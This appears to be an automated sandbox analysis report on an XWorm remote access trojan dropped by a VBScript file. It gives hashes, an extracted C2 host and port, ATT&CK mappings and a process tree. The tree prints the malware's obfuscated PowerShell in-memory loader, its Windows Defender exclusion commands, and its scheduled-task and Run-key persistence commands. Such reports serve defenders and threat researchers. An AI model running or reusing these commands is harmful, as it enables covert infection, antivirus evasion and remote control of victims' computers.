xworm | 750ba2dad733bc591d8e9d2354db33cb4a86d878c5e138419d5af4a899326111

General

Target

InstallerVbs.vbs
Size

104KB
MD5

bc89449faa6c9e7bb2957178b31866ba
SHA1

1e36383ec2124b42c951047dad01dd19d1f16ffd
SHA256

750ba2dad733bc591d8e9d2354db33cb4a86d878c5e138419d5af4a899326111
SHA512

87db7826c7f701658b782f3542f2bc2b6dd2f153181c770d0bc4c63c3300c10bf33f364590a94ae9d189b4028e965d0ede13ed3a9078a0b58e278ad6390da44f
SSDEEP

3072:vx1nBT1JXFLckxCBv8I0o59j/cDJUt3YU6b/T0rCUdv47:ZF9CNt/QUVYUsQCUdv47

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

mike-algebra.gl.at.ply.gg:55575

Attributes

Install_directory
%AppData%
install_file
XClient.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4552-15-0x00000161E83B0000-0x00000161E83CA000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
19	4552	powershell.exe
22	4552	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4552	powershell.exe
2596	powershell.exe
2888	powershell.exe
1088	powershell.exe
660	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Audio Driver.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Audio Driver.vbs	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1408	XClient.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4380	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4820	timeout.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
4552	powershell.exe
4552	powershell.exe
1088	powershell.exe
1088	powershell.exe
660	powershell.exe
660	powershell.exe
2596	powershell.exe
2596	powershell.exe
2888	powershell.exe
2888	powershell.exe
4552	powershell.exe
1408	XClient.exe
1408	XClient.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4552	powershell.exe
Token: SeDebugPrivilege	1088	powershell.exe
Token: SeDebugPrivilege	660	powershell.exe
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	4552	powershell.exe
Token: SeDebugPrivilege	1408	XClient.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4552	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3904 wrote to memory of 4552	3904	WScript.exe	89
PID 3904 wrote to memory of 4552	3904	WScript.exe	89
PID 4552 wrote to memory of 1088	4552	powershell.exe	92
PID 4552 wrote to memory of 1088	4552	powershell.exe	92
PID 4552 wrote to memory of 660	4552	powershell.exe	94
PID 4552 wrote to memory of 660	4552	powershell.exe	94
PID 4552 wrote to memory of 2596	4552	powershell.exe	96
PID 4552 wrote to memory of 2596	4552	powershell.exe	96
PID 4552 wrote to memory of 2888	4552	powershell.exe	98
PID 4552 wrote to memory of 2888	4552	powershell.exe	98
PID 4552 wrote to memory of 4380	4552	powershell.exe	100
PID 4552 wrote to memory of 4380	4552	powershell.exe	100
PID 4552 wrote to memory of 4040	4552	powershell.exe	106
PID 4552 wrote to memory of 4040	4552	powershell.exe	106
PID 4552 wrote to memory of 4080	4552	powershell.exe	108
PID 4552 wrote to memory of 4080	4552	powershell.exe	108
PID 4080 wrote to memory of 4820	4080	cmd.exe	110
PID 4080 wrote to memory of 4820	4080	cmd.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\InstallerVbs.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\InstallerVbs.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Audio Driver.vbs'; $sacerdocy = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $sacerdocy = -join $sacerdocy[-1..-$sacerdocy.Length];[<##>AppDomain<##>]::<##>('CotterellurrentDomain'.replace('Cotterell','C'))<##>.<##>('periadenitisoad'.replace('periadenitis','L'))([Convert]::FromBase64String($sacerdocy))<##>.<##>('ricedntryPoint'.replace('riced','E'))<##>.<##>('Inlingonberryoke'.replace('lingonberry','v'))($Null,$Null)<##>;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2888
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
    3⤵
    - Creates scheduled task(s)
    PID:4380
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /delete /f /tn "XClient"
    3⤵
    PID:4040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp47B2.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4080
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:4820

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
60945d1a2e48da37d4ce8d9c56b6845a

SHA1
83e80a6acbeb44b68b0da00b139471f428a9d6c1

SHA256
314b91c00997034d6e015f40230d90ebbf57de5dc938b62c1a214d591793dbe3

SHA512
5d068f1d6443e26ae3cad1c80f969e50e5860967b314153c4d3b6efd1cfa39f0907c6427bec7fa43db079f258b6357e4e9a1b0b1a36b1481d2049ea0e67909ed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ce4540390cc4841c8973eb5a3e9f4f7d

SHA1
2293f30a6f4c9538bc5b06606c10a50ab4ecef8e

SHA256
e834e1da338b9644d538cefd70176768816da2556939c1255d386931bd085105

SHA512
2a3e466cb5a81d2b65256053b768a98321eb3e65ff46353eefc9864f14a391748116f050e7482ddd73a51575bf0a6fc5c673023dade62dbd8b174442bae1cc6b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cndxqj4w.agr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp47B2.tmp.bat

Filesize
171B

MD5
14de30833d00812301f9609710eb76e0

SHA1
a9fc8a0f162a963a4f8f6d688439e7c5288d1b74

SHA256
66e7b3cd5ea86c707a0a58a4b1508df408a05b67a6de79f6af71a2fe06fadb4e

SHA512
19ab31aaabe26da574c3e78428c2c8ae380e21dcc793b4a2b3e91e3e20f1db6beb14a2c1717cf5cc2211175f322aab6133010a110ddf68782f1755b11b8d406b

Download Submit
C:\Users\Admin\AppData\Roaming\XClient.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/1408-77-0x0000021827C70000-0x0000021827CE6000-memory.dmp

Filesize
472KB

Download
memory/4552-15-0x00000161E83B0000-0x00000161E83CA000-memory.dmp

Filesize
104KB

Download
memory/4552-0-0x00007FFFF32F3000-0x00007FFFF32F5000-memory.dmp

Filesize
8KB

Download
memory/4552-11-0x00007FFFF32F0000-0x00007FFFF3DB1000-memory.dmp

Filesize
10.8MB

Download
memory/4552-6-0x00000161E8370000-0x00000161E8392000-memory.dmp

Filesize
136KB

Download
memory/4552-13-0x00000161E8E40000-0x00000161E8E84000-memory.dmp

Filesize
272KB

Download
memory/4552-78-0x00007FFFF32F3000-0x00007FFFF32F5000-memory.dmp

Filesize
8KB

Download
memory/4552-79-0x00007FFFF32F0000-0x00007FFFF3DB1000-memory.dmp

Filesize
10.8MB

Download
memory/4552-12-0x00007FFFF32F0000-0x00007FFFF3DB1000-memory.dmp

Filesize
10.8MB

Download
memory/4552-87-0x00007FFFF32F0000-0x00007FFFF3DB1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads